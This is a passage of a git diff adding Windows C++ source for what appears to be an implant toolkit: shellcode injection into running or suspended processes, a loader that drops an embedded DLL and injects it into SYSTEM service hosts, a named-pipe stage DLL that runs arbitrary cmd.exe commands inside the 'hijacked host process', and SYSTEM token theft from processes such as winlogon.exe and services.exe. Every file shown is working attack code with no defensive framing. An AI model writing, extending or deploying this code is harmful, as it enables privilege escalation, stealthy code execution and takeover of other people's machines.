+ +bool IsServiceRunning(const wchar_t* serviceName); + +bool SetServiceDescription( + const wchar_t* serviceName, + const wchar_t* description); diff --git a/ShellcodeUtils.cpp b/ShellcodeUtils.cpp new file mode 100644 index 0000000..0077922 --- /dev/null +++ b/ShellcodeUtils.cpp @@ -0,0 +1,253 @@ +#include "Common.h" +#include "ShellcodeUtils.h" +#include "Logger.h" + +bool ReadFileToMemory(const wchar_t* path, std::vector& out) +{ + out.clear(); + + HANDLE h = CreateFileW( + path, + GENERIC_READ, + FILE_SHARE_READ, + nullptr, + OPEN_EXISTING, + 0, + nullptr); + + if (h == INVALID_HANDLE_VALUE) + { + Log(L"[-] ReadFileToMemory failed: %s err=%lu", path, GetLastError()); + return false; + } + + LARGE_INTEGER fileSize{}; + if (!GetFileSizeEx(h, &fileSize) || fileSize.QuadPart <= 0 || fileSize.QuadPart > 0x7FFFFFFF) + { + Log(L"[-] ReadFileToMemory invalid file size: %s", path); + CloseHandle(h); + return false; + } + + out.resize((size_t)fileSize.QuadPart); + + DWORD read = 0; + bool ok = ReadFile(h, out.data(), (DWORD)fileSize.QuadPart, &read, nullptr) + && read == (DWORD)fileSize.QuadPart; + + CloseHandle(h); + + if (!ok) + Log(L"[-] ReadFileToMemory partial/failed: %s", path); + + return ok; +} + +static LPVOID AllocateExecMemory(HANDLE hProc, SIZE_T size) +{ + if (!hProc || size == 0) + return nullptr; + + LPVOID p = VirtualAllocEx( + hProc, + (LPVOID)0x10000, + size, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE); + + if (!p) + { + p = VirtualAllocEx( + hProc, + nullptr, + size, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE); + } + + if (!p) + { + Log(L"[-] VirtualAllocEx failed: %lu", GetLastError()); + return nullptr; + } + + DWORD oldProtect = 0; + if (!VirtualProtectEx(hProc, p, size, PAGE_EXECUTE_READWRITE, &oldProtect)) + { + Log(L"[-] VirtualProtectEx failed: %lu", GetLastError()); + VirtualFreeEx(hProc, p, 0, MEM_RELEASE); + return nullptr; + } + + return p; +} + +bool InjectShellcodeIntoExisting( + DWORD pid, + const BYTE* code, + size_t size) +{ + if (!pid || !code || size == 0) + return false; + + const DWORD access = + PROCESS_QUERY_INFORMATION | + PROCESS_VM_OPERATION | + PROCESS_VM_READ | + PROCESS_VM_WRITE | + PROCESS_CREATE_THREAD; + + HANDLE hProc = OpenProcess(access, FALSE, pid); + if (!hProc) + { + Log(L"[-] Inject: OpenProcess(%lu) failed: %lu", pid, GetLastError()); + return false; + } + + LPVOID remote = AllocateExecMemory(hProc, size); + if (!remote) + { + CloseHandle(hProc); + return false; + } + + SIZE_T written = 0; + if (!WriteProcessMemory(hProc, remote, code, size, &written) || written != size) + { + Log(L"[-] Inject: WriteProcessMemory failed: %lu", GetLastError()); + VirtualFreeEx(hProc, remote, 0, MEM_RELEASE); + CloseHandle(hProc); + return false; + } + + LPTHREAD_START_ROUTINE entry = + reinterpret_cast(reinterpret_cast(remote)); + + HANDLE hThread = CreateRemoteThread( + hProc, + nullptr, + 0, + entry, + nullptr, + 0, + nullptr); + + if (!hThread) + { + Log(L"[-] Inject: CreateRemoteThread failed: %lu", GetLastError()); + VirtualFreeEx(hProc, remote, 0, MEM_RELEASE); + CloseHandle(hProc); + return false; + } + + Log(L"[+] Injected into PID %lu at %p", pid, (void*)remote); + + CloseHandle(hThread); + CloseHandle(hProc); + + return true; +} + +bool InjectShellcodeAndResume( + NewProcInfo& info, + const BYTE* code, + size_t size) +{ + if (!info.hProcess || !info.hThread || !code || size == 0) + return false; + + LPVOID remote = AllocateExecMemory(info.hProcess, size); + + if (!remote) + { + if (info.hThread) + { + ResumeThread(info.hThread); + CloseHandle(info.hThread); + info.hThread = nullptr; + } + + if (info.hProcess) + { + CloseHandle(info.hProcess); + info.hProcess = nullptr; + } + + return false; + } + + SIZE_T written = 0; + + if (!WriteProcessMemory(info.hProcess, remote, code, size, &written) || written != size) + { + Log(L"[-] Inject suspended: WriteProcessMemory failed: %lu", GetLastError()); + + VirtualFreeEx(info.hProcess, remote, 0, MEM_RELEASE); + + if (info.hThread) + { + ResumeThread(info.hThread); + CloseHandle(info.hThread); + info.hThread = nullptr; + } + + if (info.hProcess) + { + CloseHandle(info.hProcess); + info.hProcess = nullptr; + } + + return false; + } + + LPTHREAD_START_ROUTINE entry = + reinterpret_cast(reinterpret_cast(remote)); + + HANDLE hThread = CreateRemoteThread( + info.hProcess, + nullptr, + 0, + entry, + nullptr, + 0, + nullptr); + + if (!hThread) + { + Log(L"[-] Inject suspended: CreateRemoteThread failed: %lu", GetLastError()); + + VirtualFreeEx(info.hProcess, remote, 0, MEM_RELEASE); + + if (info.hThread) + { + ResumeThread(info.hThread); + CloseHandle(info.hThread); + info.hThread = nullptr; + } + + if (info.hProcess) + { + CloseHandle(info.hProcess); + info.hProcess = nullptr; + } + + return false; + } + + ResumeThread(info.hThread); + + Log(L"[+] Injected into suspended PID %lu and resumed: %p", info.processId, (void*)remote); + + CloseHandle(hThread); + + if (info.hThread) + CloseHandle(info.hThread); + + if (info.hProcess) + CloseHandle(info.hProcess); + + info.hThread = nullptr; + info.hProcess = nullptr; + + return true; +} diff --git a/ShellcodeUtils.h b/ShellcodeUtils.h new file mode 100644 index 0000000..42e43db --- /dev/null +++ b/ShellcodeUtils.h @@ -0,0 +1,17 @@ +#pragma once + +#include +#include +#include "ProcessUtils.h" + +bool ReadFileToMemory(const wchar_t* path, std::vector& out); + +bool InjectShellcodeIntoExisting( + DWORD pid, + const BYTE* code, + size_t size); + +bool InjectShellcodeAndResume( + NewProcInfo& info, + const BYTE* code, + size_t size); diff --git a/StageClient.cpp b/StageClient.cpp new file mode 100644 index 0000000..5591e98 --- /dev/null +++ b/StageClient.cpp @@ -0,0 +1,418 @@ +#include "Common.h" +#include "StageClient.h" +#include "HostSpawn.h" +#include "Paths.h" +#include "Logger.h" +#include "resource.h" + +#include +#include + +static std::string ToUtf8(const std::wstring& w) +{ + if (w.empty()) + return std::string(); + + int need = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr); + + if (need <= 0) + return std::string(); + + std::string out(need, '\0'); + WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), out.data(), need, nullptr, nullptr); + return out; +} + +static std::wstring FromUtf8(const std::string& s) +{ + if (s.empty()) + return std::wstring(); + + int need = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0); + + if (need <= 0) + return std::wstring(); + + std::wstring out(need, L'\0'); + MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), out.data(), need); + return out; +} + +static const wchar_t* kPipeName = L"\\\\.\\pipe\\ArDrvStage"; +static const wchar_t* kDllName = L"ardrvstage.dll"; + +bool StageSend(const std::wstring& request, std::wstring& response) +{ + response.clear(); + + HANDLE pipe = CreateFileW( + kPipeName, + GENERIC_READ | GENERIC_WRITE, + 0, + nullptr, + OPEN_EXISTING, + 0, + nullptr); + + if (pipe == INVALID_HANDLE_VALUE) + return false; + + std::string bytes = ToUtf8(request) + "\n"; + + DWORD written = 0; + + if (!WriteFile(pipe, bytes.data(), (DWORD)bytes.size(), &written, nullptr)) + { + CloseHandle(pipe); + return false; + } + + std::string reply; + char buf[4096]{}; + DWORD read = 0; + + while (ReadFile(pipe, buf, sizeof(buf), &read, nullptr) && read > 0) + { + reply.append(buf, read); + + if (reply.find("<<") != std::string::npos) + break; + } + + CloseHandle(pipe); + + size_t end = reply.find("<<"); + + if (end != std::string::npos) + reply = reply.substr(0, end); + + response = FromUtf8(reply); + + while (!response.empty() && (response.back() == L'\n' || response.back() == L'\r')) + response.pop_back(); + + return !response.empty(); +} + +bool StageAlive() +{ + std::wstring response; + + if (!StageSend(L"PING", response)) + return false; + + return response.find(L"PONG") != std::wstring::npos; +} + +// Writes the payload that is packed into this executable to the stage dir. + +// Writes the payload that is packed into this executable to the stage dir when +// the on-disk copy differs (missing, old build, or truncated). Comparing the +// bytes keeps upgrades working: a new loader always replaces an older DLL. +static bool EmbeddStageCurrent(const std::wstring& target) +{ + HRSRC res = FindResourceW(nullptr, MAKEINTRESOURCEW(IDR_STAGE_DLL), RT_RCDATA); + + if (!res) + return false; + + DWORD size = SizeofResource(nullptr, res); + + if (size == 0) + return false; + + HGLOBAL loaded = LoadResource(nullptr, res); + + if (!loaded) + return false; + + const BYTE* data = static_cast(LockResource(loaded)); + + if (!data) + return false; + + // Compare against what is already on disk. + HANDLE existing = CreateFileW( + target.c_str(), + GENERIC_READ, + FILE_SHARE_READ, + nullptr, + OPEN_EXISTING, + 0, + nullptr); + + if (existing != INVALID_HANDLE_VALUE) + { + LARGE_INTEGER fileSize{}; + bool same = false; + + if (GetFileSizeEx(existing, &fileSize) && fileSize.QuadPart == (LONGLONG)size) + { + std::vector onDisk(size); + DWORD read = 0; + + same = ReadFile(existing, onDisk.data(), size, &read, nullptr) && + read == size && + memcmp(onDisk.data(), data, size) == 0; + } + + CloseHandle(existing); + + if (same) + return true; + } + + HANDLE h = CreateFileW( + target.c_str(), + GENERIC_WRITE, + 0, + nullptr, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + nullptr); + + if (h == INVALID_HANDLE_VALUE) + return false; + + DWORD written = 0; + BOOL ok = WriteFile(h, data, size, &written, nullptr); + CloseHandle(h); + + if (!ok || written != size) + { + DeleteFileW(target.c_str()); + return false; + } + + Log(L"[stage] payload refreshed from resources (%lu bytes) -> %s", size, target.c_str()); + return true; +} + +std::wstring StageDllPath(const std::wstring& explicitPath) +{ + if (!explicitPath.empty()) + { + wchar_t abs[4096]{}; + + if (GetFullPathNameW(explicitPath.c_str(), _countof(abs), abs, nullptr)) + return abs; + + return explicitPath; + } + + std::wstring staged = ArdrvStageDir() + L"\\" + kDllName; + + // The packed payload is authoritative: if it differs from the file on disk, + // the file is replaced. An old stage DLL otherwise survives every upgrade. + if (EmbeddStageCurrent(staged)) + return staged; + + if (GetFileAttributesW(staged.c_str()) != INVALID_FILE_ATTRIBUTES) + return staged; + + wchar_t module[MAX_PATH]{}; + + DWORD len = GetModuleFileNameW(nullptr, module, _countof(module)); + + if (len > 0 && len < _countof(module)) + { + std::wstring dir = module; + size_t slash = dir.find_last_of(L"\\/"); + + if (slash != std::wstring::npos) + { + dir = dir.substr(0, slash); + std::wstring candidate = dir + L"\\" + kDllName; + + if (GetFileAttributesW(candidate.c_str()) != INVALID_FILE_ATTRIBUTES) + return candidate; + } + } + + return std::wstring(); +} + +// CreateRemoteThread(LoadLibraryW) inside the chosen host. +static bool InjectDllIntoProcess(DWORD pid, const std::wstring& dllPath) +{ + HANDLE proc = OpenProcess( + PROCESS_CREATE_THREAD | + PROCESS_QUERY_INFORMATION | + PROCESS_VM_OPERATION | + PROCESS_VM_WRITE | + PROCESS_VM_READ, + FALSE, + pid); + + if (!proc) + { + Log(L"[-] stage: OpenProcess(%lu) failed: %lu", pid, GetLastError()); + return false; + } + + const SIZE_T bytes = (dllPath.size() + 1) * sizeof(wchar_t); + + LPVOID remote = VirtualAllocEx(proc, nullptr, bytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + if (!remote) + { + CloseHandle(proc); + return false; + } + + if (!WriteProcessMemory(proc, remote, dllPath.c_str(), bytes, nullptr)) + { + VirtualFreeEx(proc, remote, 0, MEM_RELEASE); + CloseHandle(proc); + return false; + } + + HMODULE kernel = GetModuleHandleW(L"kernel32.dll"); + auto loadLibrary = reinterpret_cast( + GetProcAddress(kernel, "LoadLibraryW")); + + if (!loadLibrary) + { + VirtualFreeEx(proc, remote, 0, MEM_RELEASE); + CloseHandle(proc); + return false; + } + + HANDLE thread = CreateRemoteThread(proc, nullptr, 0, loadLibrary, remote, 0, nullptr); + + bool ok = false; + + if (thread) + { + WaitForSingleObject(thread, 10000); + + DWORD exitCode = 0; + + if (GetExitCodeThread(thread, &exitCode)) + ok = exitCode != 0; + + CloseHandle(thread); + } + + VirtualFreeEx(proc, remote, 0, MEM_RELEASE); + CloseHandle(proc); + + return ok; +} + +HostInjectResult StageInject( + const std::wstring& dllPath, + const std::wstring& preferredImage, + bool requireSystem) +{ + HostInjectResult result; + + std::wstring dll = StageDllPath(dllPath); + + if (dll.empty()) + { + result.error = L"ardrvstage.dll not found next to the loader or in the stage dir"; + return result; + } + + std::vector hosts = EnumerateHosts(requireSystem); + + HostInfo* chosen = nullptr; + + for (auto& h : hosts) + { + if (!h.injectable) + continue; + + if (requireSystem && !h.systemToken) + continue; + + if (!preferredImage.empty() && + _wcsicmp(h.imageName.c_str(), preferredImage.c_str()) != 0) + { + continue; + } + + chosen = &h; + break; + } + + if (!chosen) + { + result.error = hosts.empty() + ? L"no host process found (need admin or SYSTEM)" + : L"no injectable host available"; + return result; + } + + if (!InjectDllIntoProcess(chosen->pid, dll)) + { + result.error = L"LoadLibrary injection failed into " + chosen->imageName; + return result; + } + + result.ok = true; + result.hostPid = chosen->pid; + result.hostSession = chosen->sessionId; + result.hostImage = chosen->imagePath; + result.method = StageAlive() ? L"stage-live" : L"stage-injected-no-reply"; + + GetProcessCreateTime(chosen->pid, result.creationTime); + + HostTrack track; + track.pid = result.hostPid; + track.creationTime = result.creationTime; + track.payload = dll; + track.hostImage = result.hostImage; + + SaveHostTrack(track); + + Log(L"[stage] injected %s into %lu (%s)", + dll.c_str(), + result.hostPid, + result.method.c_str()); + + return result; +} + +HostInjectResult StageEnsure(bool requireSystem) +{ + HostInjectResult result; + + if (StageAlive()) + { + result.ok = true; + result.method = L"stage-already-live"; + + HostTrack track = LoadHostTrack(); + + if (track.Tracked()) + { + result.hostPid = track.pid; + result.hostImage = track.hostImage; + result.creationTime = track.creationTime; + } + + return result; + } + + return StageInject(L"", L"", requireSystem); +} + +std::wstring FormatStageStatus() +{ + std::wostringstream os; + + std::wstring dll = StageDllPath(); + + os << L"alive=" << (StageAlive() ? 1 : 0) + << L" dll=" << (dll.empty() ? L"(missing)" : dll); + + HostTrack track = LoadHostTrack(); + + if (track.Tracked()) + os << L" host_pid=" << track.pid << L" host=" << track.hostImage; + + return os.str(); +} + diff --git a/StageClient.h b/StageClient.h new file mode 100644 index 0000000..be7ae1e --- /dev/null +++ b/StageClient.h @@ -0,0 +1,26 @@ +#pragma once + +#include + +#include + +#include "HostStager.h" + +// Talks to the stage payload running inside a host process. +// Returns false when no stage is listening. +bool StageSend(const std::wstring& request, std::wstring& response); +bool StageAlive(); + +// Locates ardrvstage.dll: explicit path, next to the loader, or in the stage dir. +std::wstring StageDllPath(const std::wstring& explicitPath = L""); + +// Injects the stage DLL into the best host and verifies the pipe answers. +HostInjectResult StageInject( + const std::wstring& dllPath, + const std::wstring& preferredImage, + bool requireSystem); + +// Injects only when the pipe is not already answering. +HostInjectResult StageEnsure(bool requireSystem = true); + +std::wstring FormatStageStatus(); diff --git a/StageDll.cpp b/StageDll.cpp new file mode 100644 index 0000000..d501ff5 --- /dev/null +++ b/StageDll.cpp @@ -0,0 +1,299 @@ +// Stage payload: runs inside a hijacked host process. +// +// Contract with the loader: +// - named pipe \\.\pipe\ArDrvStage +// - one request per connection, UTF-8, newline terminated +// - response: UTF-8, ends with "<<" sentinel line, then the pipe closes +// - commands: PING | WHOAMI | RUN | STOP +// +// The DLL is intentionally small: it is a command runner, not a second agent. +// All policy (which host, when to re-inject) stays in the loader so the payload +// can be swapped without touching the services. + +#include + +#include +#include + +static const wchar_t* kPipeName = L"\\\\.\\pipe\\ArDrvStage"; +static const wchar_t* kMutexName = L"Global\\ArDrvStage"; +static const char* kEnd = "<<"; +static HMODULE g_module = nullptr; +static HANDLE g_mutex = nullptr; + +static std::string Narrow(const std::wstring& w) +{ + if (w.empty()) + return std::string(); + + int need = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr); + + if (need <= 0) + return std::string(); + + std::string out(need, '\0'); + WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), out.data(), need, nullptr, nullptr); + return out; +} + +static std::wstring Widen(const std::string& s) +{ + if (s.empty()) + return std::wstring(); + + int need = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0); + + if (need <= 0) + return std::wstring(); + + std::wstring out(need, L'\0'); + MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), out.data(), need); + return out; +} + +static std::wstring CmdExe() +{ + wchar_t sys[MAX_PATH]{}; + + if (GetSystemDirectoryW(sys, _countof(sys)) == 0) + return L"C:\\Windows\\System32\\cmd.exe"; + + return std::wstring(sys) + L"\\cmd.exe"; +} + +// Runs a command line through cmd.exe and captures stdout+stderr. +static bool RunCapture(const std::wstring& commandLine, std::wstring& output) +{ + output.clear(); + + SECURITY_ATTRIBUTES sa{}; + sa.nLength = sizeof(sa); + sa.bInheritHandle = TRUE; + + HANDLE readEnd = nullptr; + HANDLE writeEnd = nullptr; + + if (!CreatePipe(&readEnd, &writeEnd, &sa, 0)) + return false; + + SetHandleInformation(readEnd, HANDLE_FLAG_INHERIT, 0); + + STARTUPINFOW si{}; + si.cb = sizeof(si); + si.dwFlags = STARTF_USESTDHANDLES; + si.hStdOutput = writeEnd; + si.hStdError = writeEnd; + si.hStdInput = nullptr; + + PROCESS_INFORMATION pi{}; + + std::wstring full = L"\"" + CmdExe() + L"\" /C " + commandLine; + std::vector mutableCmd(full.begin(), full.end()); + mutableCmd.push_back(L'\0'); + + BOOL ok = CreateProcessW( + nullptr, + mutableCmd.data(), + nullptr, + nullptr, + TRUE, + CREATE_NO_WINDOW, + nullptr, + nullptr, + &si, + &pi); + + CloseHandle(writeEnd); + + if (!ok) + { + CloseHandle(readEnd); + return false; + } + + std::string bytes; + char buf[4096]{}; + DWORD read = 0; + + while (ReadFile(readEnd, buf, sizeof(buf), &read, nullptr) && read > 0) + bytes.append(buf, read); + + WaitForSingleObject(pi.hProcess, 30000); + + CloseHandle(readEnd); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + + output = Widen(bytes); + return true; +} + +static void ServeConnection(HANDLE pipe) +{ + std::string request; + char ch = 0; + DWORD read = 0; + + while (ReadFile(pipe, &ch, 1, &read, nullptr) && read == 1) + { + if (ch == '\n') + break; + + if (request.size() > 32 * 1024) + break; + + request.push_back(ch); + } + + std::wstring line = Widen(request); + + while (!line.empty() && (line.back() == L'\r')) + line.pop_back(); + + std::string response; + + auto reply = [&](const std::string& status, const std::wstring& body) + { + response = status + "\n" + Narrow(body) + kEnd + "\n"; + }; + + std::wstring command; + size_t sp = line.find(L' '); + + if (sp == std::wstring::npos) + { + command = line; + } + else + { + command = line.substr(0, sp); + } + + std::wstring rest = (sp == std::wstring::npos) ? std::wstring() : line.substr(sp + 1); + + if (_wcsicmp(command.c_str(), L"PING") == 0) + { + reply("OK", L"PONG"); + } + else if (_wcsicmp(command.c_str(), L"WHOAMI") == 0) + { + wchar_t user[256]{}; + DWORD len = _countof(user); + + std::wstring who = L"?"; + wchar_t name[256]{}; + DWORD nameLen = _countof(name); + + if (GetUserNameW(user, &len)) + who = user; + + if (GetComputerNameW(name, &nameLen)) + who = std::wstring(name) + L"\\" + who; + + wchar_t self[MAX_PATH]{}; + GetModuleFileNameW(nullptr, self, _countof(self)); + + reply("OK", who + L" pid=" + std::to_wstring(GetCurrentProcessId()) + + L" image=" + self); + } + else if (_wcsicmp(command.c_str(), L"RUN") == 0) + { + if (rest.empty()) + { + reply("ERR", L"ERR_USAGE RUN "); + } + else + { + std::wstring output; + + if (RunCapture(rest, output)) + reply("OK", output); + else + reply("ERR", L"exec failed"); + } + } + else if (_wcsicmp(command.c_str(), L"STOP") == 0) + { + reply("OK", L"stopping"); + + DWORD written = 0; + WriteFile(pipe, response.data(), (DWORD)response.size(), &written, nullptr); + FlushFileBuffers(pipe); + DisconnectNamedPipe(pipe); + CloseHandle(pipe); + + // Unload cleanly instead of killing the host: a service host that dies + // takes unrelated services with it and makes noise in the event log. + if (g_mutex) + { + CloseHandle(g_mutex); + g_mutex = nullptr; + } + + FreeLibraryAndExitThread(g_module, 0); + } + else + { + reply("ERR", L"ERR_UNKNOWN " + command); + } + + DWORD written = 0; + WriteFile(pipe, response.data(), (DWORD)response.size(), &written, nullptr); + FlushFileBuffers(pipe); +} + +static DWORD WINAPI StageThread(void*) +{ + while (true) + { + HANDLE pipe = CreateNamedPipeW( + kPipeName, + PIPE_ACCESS_DUPLEX, + PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, + PIPE_UNLIMITED_INSTANCES, + 64 * 1024, + 64 * 1024, + 0, + nullptr); + + if (pipe == INVALID_HANDLE_VALUE) + { + Sleep(1000); + continue; + } + + if (ConnectNamedPipe(pipe, nullptr) || GetLastError() == ERROR_PIPE_CONNECTED) + ServeConnection(pipe); + + DisconnectNamedPipe(pipe); + CloseHandle(pipe); + } + + return 0; +} + +BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID) +{ + if (reason == DLL_PROCESS_ATTACH) + { + DisableThreadLibraryCalls(module); + g_module = module; + + HANDLE mutex = CreateMutexW(nullptr, TRUE, kMutexName); + + if (mutex && GetLastError() == ERROR_ALREADY_EXISTS) + { + CloseHandle(mutex); + return TRUE; + } + + g_mutex = mutex; + + HANDLE thread = CreateThread(nullptr, 0, StageThread, nullptr, 0, nullptr); + + if (thread) + CloseHandle(thread); + } + + return TRUE; +} diff --git a/StageDll.vcxproj b/StageDll.vcxproj new file mode 100644 index 0000000..5fda2a2 --- /dev/null +++ b/StageDll.vcxproj @@ -0,0 +1,79 @@ + + + + + Debug + x64 + + + Release + x64 + + + + + 17.0 + {C1A4E2B0-6F1D-4C21-9E55-2B6B4C1D9A31} + ArDrvStage + 10.0 + + + + + + DynamicLibrary + true + $(DefaultPlatformToolset) + Unicode + + + + DynamicLibrary + false + $(DefaultPlatformToolset) + true + Unicode + + + + + + + Level3 + true + _DEBUG;WIN32_LEAN_AND_MEAN;UNICODE;_UNICODE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + stdcpp17 + + + Windows + + + + + + + Level3 + true + NDEBUG;WIN32_LEAN_AND_MEAN;UNICODE;_UNICODE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + stdcpp17 + MaxSpeed + true + true + + + Windows + true + true + + + + + ardrvstage + + + + + + + + diff --git a/TokenUtils.cpp b/TokenUtils.cpp new file mode 100644 index 0000000..d92fc86 --- /dev/null +++ b/TokenUtils.cpp @@ -0,0 +1,327 @@ +#include "Common.h" +#include "TokenUtils.h" +#include "Logger.h" + +static const DWORD kTokenAccessForDuplicate = + TOKEN_QUERY | + TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | + TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID; + +bool EnablePrivilege(const wchar_t* privilegeName) +{ + HANDLE hToken = nullptr; + + if (!OpenProcessToken( + GetCurrentProcess(), + TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, + &hToken)) + { + Log(L"[-] OpenProcessToken for privilege failed: %lu", GetLastError()); + return false; + } + + LUID luid{}; + if (!LookupPrivilegeValueW(nullptr, privilegeName, &luid)) + { + Log(L"[-] LookupPrivilegeValueW failed for %s: %lu", privilegeName, GetLastError()); + CloseHandle(hToken); + return false; + } + + TOKEN_PRIVILEGES tp{}; + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + BOOL ok = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), nullptr, nullptr); + DWORD err = GetLastError(); + + CloseHandle(hToken); + + if (!ok || err == ERROR_NOT_ALL_ASSIGNED) + { + Log(L"[-] EnablePrivilege failed: %s, last=%lu", privilegeName, err); + return false; + } + + return true; +} + +bool TokenIsLocalSystem(HANDLE token) +{ + if (!token) + return false; + + DWORD needed = 0; + + if (!GetTokenInformation(token, TokenUser, nullptr, 0, &needed)) + { + DWORD e = GetLastError(); + if (e != ERROR_INSUFFICIENT_BUFFER || needed == 0) + return false; + } + + std::vector buf(needed); + PTOKEN_USER tu = reinterpret_cast(buf.data()); + + if (!GetTokenInformation(token, TokenUser, tu, needed, &needed)) + return false; + + PSID systemSid = nullptr; + if (!ConvertStringSidToSidW(L"S-1-5-18", &systemSid)) + return false; + + bool userIsSystem = (EqualSid(tu->User.Sid, systemSid) == TRUE); + + BOOL member = FALSE; + if (!userIsSystem) + CheckTokenMembership(token, systemSid, &member); + + FreeSid(systemSid); + + return userIsSystem || member == TRUE; +} + +bool IsCurrentProcessSystem() +{ + HANDLE hToken = nullptr; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) + return false; + + bool result = TokenIsLocalSystem(hToken); + CloseHandle(hToken); + + return result; +} + +static HANDLE DuplicateTokenExWithFallback(HANDLE src) +{ + HANDLE dup = nullptr; + + if (DuplicateTokenEx( + src, + kTokenAccessForDuplicate, + nullptr, + SecurityImpersonation, + TokenPrimary, + &dup)) + { + return dup; + } + + const DWORD minimalAccess = + TOKEN_QUERY | + TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | + TOKEN_ADJUST_DEFAULT; + + dup = nullptr; + + if (DuplicateTokenEx( + src, + minimalAccess, + nullptr, + SecurityImpersonation, + TokenPrimary, + &dup)) + { + return dup; + } + + return nullptr; +} + +HANDLE DuplicateSystemTokenFromHandle(HANDLE srcToken) +{ + if (!srcToken) + return nullptr; + + HANDLE dup = DuplicateTokenExWithFallback(srcToken); + if (!dup) + { + Log(L"[-] DuplicateTokenEx failed: %lu", GetLastError()); + return nullptr; + } + + if (!TokenIsLocalSystem(dup)) + { + Log(L"[-] Duplicated token is not LocalSystem"); + CloseHandle(dup); + return nullptr; + } + + return dup; +} + +static HANDLE OpenProcessTokenByPid(DWORD pid) +{ + if (pid == 0) + return nullptr; + + HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + + if (!hProc) + hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); + + if (!hProc) + return nullptr; + + HANDLE hToken = nullptr; + + if (!OpenProcessToken(hProc, kTokenAccessForDuplicate, &hToken)) + { + hToken = nullptr; + + if (!OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken)) + { + Log(L"[-] OpenProcessToken(%lu) failed: %lu", pid, GetLastError()); + CloseHandle(hProc); + return nullptr; + } + } + + CloseHandle(hProc); + return hToken; +} + +static HANDLE DuplicateTokenFromPid(DWORD pid) +{ + HANDLE hToken = OpenProcessTokenByPid(pid); + if (!hToken) + return nullptr; + + if (!TokenIsLocalSystem(hToken)) + { + CloseHandle(hToken); + return nullptr; + } + + HANDLE dup = DuplicateSystemTokenFromHandle(hToken); + CloseHandle(hToken); + + if (dup) + Log(L"[+] Obtained SYSTEM token from PID %lu", pid); + + return dup; +} + +static HANDLE TryDuplicateByNames(const wchar_t* const* names, size_t count) +{ + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) + return nullptr; + + PROCESSENTRY32W pe{}; + pe.dwSize = sizeof(pe); + + if (!Process32First(snap, &pe)) + { + CloseHandle(snap); + return nullptr; + } + + DWORD self = GetCurrentProcessId(); + + do + { + if (pe.th32ProcessID == self || pe.th32ProcessID <= 4) + continue; + + for (size_t i = 0; i < count; ++i) + { + if (_wcsicmp(pe.szExeFile, names[i]) == 0) + { + HANDLE tok = DuplicateTokenFromPid(pe.th32ProcessID); + if (tok) + { + CloseHandle(snap); + return tok; + } + } + } + + } while (Process32Next(snap, &pe)); + + CloseHandle(snap); + return nullptr; +} + +HANDLE GetSystemToken(HANDLE preferredToken) +{ + EnablePrivilege(SE_DEBUG_NAME); + + if (preferredToken) + { + HANDLE dup = DuplicateSystemTokenFromHandle(preferredToken); + if (dup) + { + Log(L"[+] Using SYSTEM token returned by driver"); + return dup; + } + } + + HANDLE hProcessToken = nullptr; + + if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE, &hProcessToken)) + { + if (TokenIsLocalSystem(hProcessToken)) + { + HANDLE dup = DuplicateSystemTokenFromHandle(hProcessToken); + CloseHandle(hProcessToken); + + if (dup) + { + Log(L"[+] Current process token is LocalSystem"); + return dup; + } + } + else + { + Log(L"[-] Current process token is not LocalSystem"); + } + + CloseHandle(hProcessToken); + } + + HANDLE hThreadToken = nullptr; + + if (OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_DUPLICATE, TRUE, &hThreadToken)) + { + if (TokenIsLocalSystem(hThreadToken)) + { + HANDLE dup = DuplicateSystemTokenFromHandle(hThreadToken); + CloseHandle(hThreadToken); + + if (dup) + { + Log(L"[+] Thread token is LocalSystem"); + return dup; + } + } + else + { + Log(L"[-] Thread token is not LocalSystem"); + } + + CloseHandle(hThreadToken); + } + + static const wchar_t* preferred[] = + { + L"services.exe", + L"winlogon.exe", + L"svchost.exe", + L"spoolsv.exe", + L"csrss.exe" + }; + + HANDLE tok = TryDuplicateByNames(preferred, _countof(preferred)); + if (tok) + return tok; + + Log(L"[-] Failed to find SYSTEM token"); + return nullptr; +} diff --git a/TokenUtils.h b/TokenUtils.h new file mode 100644 index 0000000..09af2e8 --- /dev/null +++ b/TokenUtils.h @@ -0,0 +1,9 @@ +#pragma once + +#include + +bool EnablePrivilege(const wchar_t* privilegeName); +bool TokenIsLocalSystem(HANDLE token); +bool IsCurrentProcessSystem(); +HANDLE DuplicateSystemTokenFromHandle(HANDLE srcToken); +HANDLE GetSystemToken(HANDLE preferredToken = 